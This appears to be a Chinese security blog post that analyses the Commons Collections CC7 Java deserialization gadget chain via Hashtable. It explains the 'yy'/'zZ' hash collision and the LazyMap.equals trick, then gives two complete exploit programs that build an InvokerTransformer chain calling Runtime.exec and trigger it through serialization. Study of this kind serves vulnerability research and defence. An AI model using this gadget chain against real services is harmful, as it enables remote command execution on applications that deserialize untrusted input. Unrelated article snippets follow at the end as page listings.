当前位置: 首页 > news >正文

【Web】Java反序列化之CC7链——Hashtable

目录

链子原理分析(借尸还魂)

如何构造相等hash

又谈为何lazyMap2.remove("yy")

不过真的需要两个LazyMap吗

EXP

双LazyMap exp

HashMap&LazyMap exp


链子原理分析(借尸还魂)

先看Hashtable#readObject

origlength和elements分别是原始数组的长度和元素的数量,最后的key与value就是我们自己构造时用put放进去的,接着调用了reconstitutionPut方法

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException{// Read in the threshold and loadFactors.defaultReadObject();// Validate loadFactor (ignore threshold - it will be re-computed)if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new StreamCorruptedException("Illegal Load: " + loadFactor);// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Validate # of elementsif (elements < 0)throw new StreamCorruptedException("Illegal # of Elements: " + elements);// Clamp original length to be more than elements / loadFactor// (this is the invariant enforced with auto-growth)origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);// Compute new length with a bit of room 5% + 3 to grow but// no larger than the clamped original length.  Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)((elements + elements / 20) / loadFactor) + 3;if (length > elements && (length & 1) == 0)length--;length = Math.min(length, origlength);if (length < 0) { // overflowlength = origlength;}// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// sync is eliminated for performancereconstitutionPut(table, key, value);}}

再看Hashtable#reconstitutionPut,这段代码的作用就是往哈希表中添加一个新的键值对,在保证键的唯一性的前提下进行操作,并处理可能的异常情况

 private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {if ((e.hash == hash) && e.key.equals(key)) {throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;}

这里我们因为开了上帝之眼,已经知道要去调用e.key.equals(key)了,但问题是,当第一次调用Hashtable#reconstitutionPut时,由于这个Hashtable是空的,我们不会进for循环,而是直接向其中存一个KV对,这样也就不能去调e.key.equals(key),显然不能令我们满意。

如何解决这个问题呢?其实很朴素,我们先往Hashtable里存一个KV对,这样第二次存的时候就会进到for循环,从而调用e.key.equals(key)了。

我们调用两次reconstitutionPut,也就是说put两个元素进Hashtable对象,这样elements(元素数量)的值就为2,readObject中的for循环就可以循环两次;
第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut中的for循环的时候,tab[index]中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;

ok 进入for循环的事情我们已经解决了,但是想去e.key.equals(key)还得要满足e.hash == hash(&&短路机制你懂的),这里的e值为tab[index],也就是第一组传入的值,这里的hash是通过key.hashCode()获取的,也就是说要put两个hash值相等的元素进去才行,这个点我们下面单独来讲。

跟进到LazyMap所extend的AbstractMapDecorator#equals,调用了LazyMap的map的equals方法

public boolean equals(Object object) {return object == this ? true : this.map.equals(object);}

跟进HashMap所extend的AbstractMap#equals方法

public boolean equals(Object o) {if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key)))return false;} else {if (!value.equals(m.get(key)))return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;}

调用了m.get(),而m是根据传入的对象获取的,也就是说如果key传入的也是LazyMap类对象,那么这里就是调用的LazyMap#get,从而为所欲为。 (get后续步骤真不用解释吧)

说一点个人的感想:这里其实颇有借尸还魂的味道在里面,我们利用的是传入Hashtable的第一个LazyMap里的HashMap的equals方法来去调用传入Hashtable的第二个LazyMap的get方法,从而完成transformer链的攻击。

如何构造相等hash

解铃还须系铃人,先来看看hash是怎么来的

int hash = key.hashCode();

跟进hashCode方法(这里先从key是String类型的对象开始讲,我知道你很急,但你先别急)

public int hashCode() {int h = hash;if (h == 0 && value.length > 0) {char val[] = value;for (int i = 0; i < value.length; i++) {h = 31 * h + val[i];}hash = h;}return h;}

要注意的是第一步是将变量 h 初始化为实例变量 hash 的值。这个 hash 可能是之前计算得到的哈希码,如果没有则为默认值 0 

剩下的其实还是挺好理解的,下面举个例子:

字符串 "hello" 对应的字符数组为 ['h', 'e', 'l', 'l', 'o']。

初始时,h = 0;然后进入条件判断块,开始遍历字符数组:

    第一轮循环:h = 31 * 0 + 'h' 的ASCII码值 = 104;
    第二轮循环:h = 31 * 104 + 'e' 的ASCII码值 = 3144 + 101 = 3245;
    第三轮循环:h = 31 * 3245 + 'l' 的ASCII码值 = 100495 + 108 = 100603;
    第四轮循环:h = 31 * 100603 + 'l' 的ASCII码值 = 3118783 + 108 = 3118891;
    第五轮循环:h = 31 * 3118891 + 'o' 的ASCII码值 = 96713221 + 111 = 96713332。

最终得到的哈希码为 96713332。这个数值作为字符串 "hello" 的哈希码

ok我们的目的是要构造出相同的hash值,我们以'yy'和'zZ'为例,y比z小1,经过第一轮循环后h的差值就差1,在第二轮循环会扩大为31*1,所以我们可以控制第二个字符是y与Z,前面比后面大31刚好抵消了这个差距

众所周知exp里是把LazyMap放Hashtable中的,我们可以先看LazyMap的hashCode方法(extend自AbstractMapDecorator)

public int hashCode() {return this.map.hashCode();}

会调用LazyMap的map的hashCode方法,也就是HashMap的hashCode方法,key与value的分别计算并异或,值我们可以设置的相同,问题是如何让key的hashcode也一致

public final int hashCode() {return Objects.hashCode(key) ^ Objects.hashCode(value);}

跟进Objects的hashCode方法,发现最后调用了传入key的hashCode方法,如果传入的key为String类型,就可以调用String的hashCode方法,也就和上文呼应上了,成功构造相等hash。

public static int hashCode(Object o) {return o != null ? o.hashCode() : 0;}

又谈为何lazyMap2.remove("yy")

先贴出CC6中类似的操作:【Web】Java反序列化之CC6--HashMap版-CSDN博客

Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy=yy)。导致第二个LazyMap的HashMap中会有两个元素。

Hashtable#put

public synchronized V put(K key, V value) {// Make sure the value is not nullif (value == null) {throw new NullPointerException();}// Makes sure the key is not already in the hashtable.Entry<?,?> tab[] = table;int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;@SuppressWarnings("unchecked")Entry<K,V> entry = (Entry<K,V>)tab[index];for(; entry != null ; entry = entry.next) {if ((entry.hash == hash) && entry.key.equals(key)) {V old = entry.value;entry.value = value;return old;}}addEntry(hash, key, value, index);return null;}

 这段其实上面那篇文章里也有写

if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;}

 而HashMap所extend的AbstractMap#equals方法中要求两个HashMap中元素个数相同,否则直接return false,所以我们需要先remove一个。

 Map<?,?> m = (Map<?,?>) o;if (m.size() != size())return false;

不过真的需要两个LazyMap吗

虽然yso里是用了两个LazyMap,但其实根本没有必要

关于CC7的分析与思考

我们上面借尸还魂的部分也提到过,第一个LazyMap利用的是传入Hashtable的第一个LazyMap里的HashMap的equals方法,那为啥不直接把第一个LazyMap换成HashMap呢,更简洁高雅且本质

EXP

双LazyMap exp

package com.CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[] {};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap1 = new HashMap();Map innerMap2 = new HashMap();Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);lazyMap1.put("yy", 1);Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);lazyMap2.put("zZ", 1);Hashtable hashtable = new Hashtable();hashtable.put(lazyMap1, 1);hashtable.put(lazyMap2, 2);Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);lazyMap2.remove("yy");try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));outputStream.writeObject(hashtable);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}

HashMap&LazyMap exp

package com.CC7;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7 {public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[] {};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map map1 = new HashMap();Map map2 = new HashMap();map1.put("yy", 1);map2.put("zZ", 1);Map lazyMap1 = LazyMap.decorate(map1, transformerChain);Hashtable hashtable = new Hashtable();hashtable.put(map2, 1);hashtable.put(lazyMap1, 2);Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);lazyMap1.remove("zZ");try{ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));outputStream.writeObject(hashtable);outputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));inputStream.readObject();}catch(Exception e){e.printStackTrace();}}
}

相关文章:

【Web】Java反序列化之CC7链——Hashtable

目录 链子原理分析(借尸还魂) 如何构造相等hash 又谈为何lazyMap2.remove("yy") 不过真的需要两个LazyMap吗 EXP 双LazyMap exp HashMap&LazyMap exp 链子原理分析(借尸还魂) 先看Hashtable#readObject origlength和elements分别是原始数组的长度和元素…...

NumPy数据处理详解的笔记2

NumPy数据处理详解的笔记2 第1章NumPy基础 NumPy是用于处理多维数组的数值运算库&#xff0c;不仅可用于 机器学习&#xff0c;还可以用于图像处理&#xff0c;语言处理等任务。 1.2 多维数据结构ndarray的基础 在学习NumPy的过程中&#xff0c;只要理解了ndarray的相关知识…...

xsslabs第四关

测试 "onclick"alert(1) 这与第三关的代码是一样的&#xff0c;但是每一关考的点是不一样的所以我们看一下源代码 <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv"content-type" content"text/html;ch…...

Qt下使用modbus-c库实现PLC线圈/保持寄存器的读写

系列文章目录 提示&#xff1a;这里是该系列文章的所有文章的目录 第一章&#xff1a;Qt下使用ModbusTcp通信协议进行PLC线圈/保持寄存器的读写&#xff08;32位有符号数&#xff09; 第二章&#xff1a;Qt下使用modbus-c库实现PLC线圈/保持寄存器的读写 文章目录 系列文章目录…...

C++ 滑动窗口

例1 209. 长度最小的子数组 ①窗口大小不固定 ②求最小长度 -> ret INT_MAX ③数组内的值都大于0&#xff0c; 符合单调性&#xff08;sum nums[right] -> sum增大&#xff09; while里面符合条件&#xff0c;在里面更改ret 参考代码 class Solution { public:i…...

【深度学习】TensorFlow基础介绍

TensorFlow 模型 张量、变量共同点&#xff1a;具有形状、类型、值等3个属性。 不同点&#xff1a;变量可被TensorFlow的自动求导机制求导&#xff0c;常被用于机器学习模型的参数。 tfrecord tensorflow定义的数据格式&#xff0c;一种二进制文件格式&#xff0c;用于保存…...

springcloud:3.3测试重试机制

服务提供者【test-provider8001】 Openfeign远程调用服务提供者搭建 文章地址http://t.csdnimg.cn/06iz8 相关接口 测试远程调用&#xff1a;http://localhost:8001/payment/index 服务消费者【test-consumer-resilience4j8004】 Openfeign远程调用消费者搭建 文章地址http:/…...

【笔记】【电子科大 离散数学】 3.谓词逻辑

谓词引入 因为含变量的语句&#xff08;例如x > 3&#xff09;不是命题&#xff0c;无法进行逻辑推理。 为了研究简单命题句子内部的逻辑关系&#xff0c;我们需要对简单命题进行分解&#xff0c;利用个体词&#xff0c;谓词和量词来描述它们&#xff0c;并研究个体与总体…...

倍增算法C++

倍增 倍增算法是一种优化算法&#xff0c;通常用于某些需要高效计算指数幂的场景。它基于分治的思想&#xff0c;通过反复求平方来实现快速计算指数幂的目的。在实际应用中&#xff0c;倍增算法经常用于解决最近公共祖先问题、二分查找等。 1、快速幂详解 ksm核心代码 倍增就是…...

uniapp制作--进步器的选择

介绍&#xff1a; 进步器的选择,一般用于商城购物选择物品数量的场景 注意&#xff1a;该输入框只能输入大于或等于0的整数 效果展示&#xff1a; 代码展示&#xff1a; 以下是一个简单的购物车页面示例&#xff0c;包括选择商品和显示数量的功能&#xff1a; 在这个示例中…...

前端高频面试--查缺补漏篇

什么是进程和线程&#xff0c;有什么区别 进程&#xff1a;进程是程序的一次执行过程&#xff0c;是动态的过程&#xff0c;有自身产生、存在、消亡的过程。 线程&#xff1a;线程由进程创建&#xff0c;是进程的一个实体。一个进程可以拥有多个线程。 举个例子&#xff1a;…...

【计算机学习】-- 网页视频加速

系列文章目录 文章目录 系列文章目录前言一、开发者选项二、定义和用法1.基础语法&#xff1a;2.什么是uncaught TypeError:Cannot read properties of null? 二、开发者工具面板&#xff1a;1.Elements面板&#xff1a;2.Console面板&#xff1a; 总结 前言 一、开发者选项 …...

系统运维-Linux配置C、C++、Go语言编译环境

C yum install gcc -y #安装gcc编译器 gcc --version #验证环境gcc (GCC) 11.3.1 20221121 (Red Hat 11.3.1-4) Copyright (C) 2021 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even f…...

【设计模式】(二)设计模式六大设计原则

一、 设计原则概述 设计模式中主要有六大设计原则&#xff0c;简称为SOLID &#xff0c;是由于各个原则的首字母简称合并的来(两个L算一个,solid 稳定的)&#xff0c;六大设计原则分别如下&#xff1a; ​ 1、单一职责原则&#xff08;Single Responsibitity Principle&#…...

go-zero官网

go-zero 是一个集成了各种工程实践的 web 和 rpc 框架。通过弹性设计保障了大并发服务端的稳定性&#xff0c;经受了充分的实战检验。 go-zero官网&#xff1a;go-zero 缩短从需求到上线的距离...

Redis的应用场景以及常见问题(持续更新)

一、使用场景 1&#xff0c;在大型的秒杀库存扣减&#xff0c;app首页流量高峰&#xff0c;很容易将传统的关系型数据库&#xff08;mysql,oracle等&#xff09;给压垮 2&#xff0c;还有很多没必要持久化的数据&#xff0c;比如说短信验证码&#xff0c;点赞数等 3&#xff0c…...

前端添加压缩包内文件名称校验

1. tar包内文件名称校验 1. 读取tar包内所有的文件名称 export class TarReader {fileInfo: any[]buffer: string | ArrayBufferconstructor() {this.fileInfo []}readFile(file) {return new Promise(resolve > {const reader new FileReader()reader.onload event &g…...

redis02 安装

官网下载 传送门https://redis.io/download/#redis-downloads 安装Redis mac m1安装 下载你需要版本的软件包放到指定的目录下进行解压 cd 到解压好的redis目录 运行下面的命令进行编译测试 sudo make test 中途可能会提示你安装make工具&#xff0c;按提示安装即可&…...

#QT(QT时钟)

1.IDE&#xff1a;QTCreator 2.实验 3.记录 qtime&#xff08;qt的时间类&#xff09; qtimer&#xff08;qt的定时类&#xff09; 4.代码 widget.h #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QTime> // #include <QTimer&g…...

T-RAG:结合实体检测的增强检索生成模型

内容摘要&#xff1a; T-RAG是一种新的大型语言模型&#xff08;LLM&#xff09;应用框架&#xff0c;在保证数据隐私的同时&#xff0c;提高了对私有企业文档的问答系统性能。T-RAG通过结合已有的增强检索生成&#xff08;RAG&#xff09;框架、自定义的开源语言模型以及一个实…...

高频面试之3Zookeeper

高频面试之3Zookeeper 文章目录 高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个&#xff1f;3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制 半数机制&#xff08;过半机制&#xff0…...

蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练

前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1)&#xff1a;从基础到实战的深度解析-CSDN博客&#xff0c;但实际面试中&#xff0c;企业更关注候选人对复杂场景的应对能力&#xff08;如多设备并发扫描、低功耗与高发现率的平衡&#xff09;和前沿技术的…...

Nginx server_name 配置说明

Nginx 是一个高性能的反向代理和负载均衡服务器&#xff0c;其核心配置之一是 server 块中的 server_name 指令。server_name 决定了 Nginx 如何根据客户端请求的 Host 头匹配对应的虚拟主机&#xff08;Virtual Host&#xff09;。 1. 简介 Nginx 使用 server_name 指令来确定…...

leetcodeSQL解题:3564. 季节性销售分析

leetcodeSQL解题&#xff1a;3564. 季节性销售分析 题目&#xff1a; 表&#xff1a;sales ---------------------- | Column Name | Type | ---------------------- | sale_id | int | | product_id | int | | sale_date | date | | quantity | int | | price | decimal | -…...

select、poll、epoll 与 Reactor 模式

在高并发网络编程领域&#xff0c;高效处理大量连接和 I/O 事件是系统性能的关键。select、poll、epoll 作为 I/O 多路复用技术的代表&#xff0c;以及基于它们实现的 Reactor 模式&#xff0c;为开发者提供了强大的工具。本文将深入探讨这些技术的底层原理、优缺点。​ 一、I…...

MFE(微前端) Module Federation:Webpack.config.js文件中每个属性的含义解释

以Module Federation 插件详为例&#xff0c;Webpack.config.js它可能的配置和含义如下&#xff1a; 前言 Module Federation 的Webpack.config.js核心配置包括&#xff1a; name filename&#xff08;定义应用标识&#xff09; remotes&#xff08;引用远程模块&#xff0…...

Android写一个捕获全局异常的工具类

项目开发和实际运行过程中难免会遇到异常发生&#xff0c;系统提供了一个可以捕获全局异常的工具Uncaughtexceptionhandler&#xff0c;它是Thread的子类&#xff08;就是package java.lang;里线程的Thread&#xff09;。本文将利用它将设备信息、报错信息以及错误的发生时间都…...

热门Chrome扩展程序存在明文传输风险,用户隐私安全受威胁

赛门铁克威胁猎手团队最新报告披露&#xff0c;数款拥有数百万活跃用户的Chrome扩展程序正在通过未加密的HTTP连接静默泄露用户敏感数据&#xff0c;严重威胁用户隐私安全。 知名扩展程序存在明文传输风险 尽管宣称提供安全浏览、数据分析或便捷界面等功能&#xff0c;但SEMR…...

leetcode_69.x的平方根

题目如下 &#xff1a; 看到题 &#xff0c;我们最原始的想法就是暴力解决: for(long long i 0;i<INT_MAX;i){if(i*ix){return i;}else if((i*i>x)&&((i-1)*(i-1)<x)){return i-1;}}我们直接开始遍历&#xff0c;我们是整数的平方根&#xff0c;所以我们分两…...

基于Uniapp的HarmonyOS 5.0体育应用开发攻略

一、技术架构设计 1.混合开发框架选型 &#xff08;1&#xff09;使用Uniapp 3.8版本支持ArkTS编译 &#xff08;2&#xff09;通过uni-harmony插件调用原生能力 &#xff08;3&#xff09;分层架构设计&#xff1a; graph TDA[UI层] -->|Vue语法| B(Uniapp框架)B --&g…...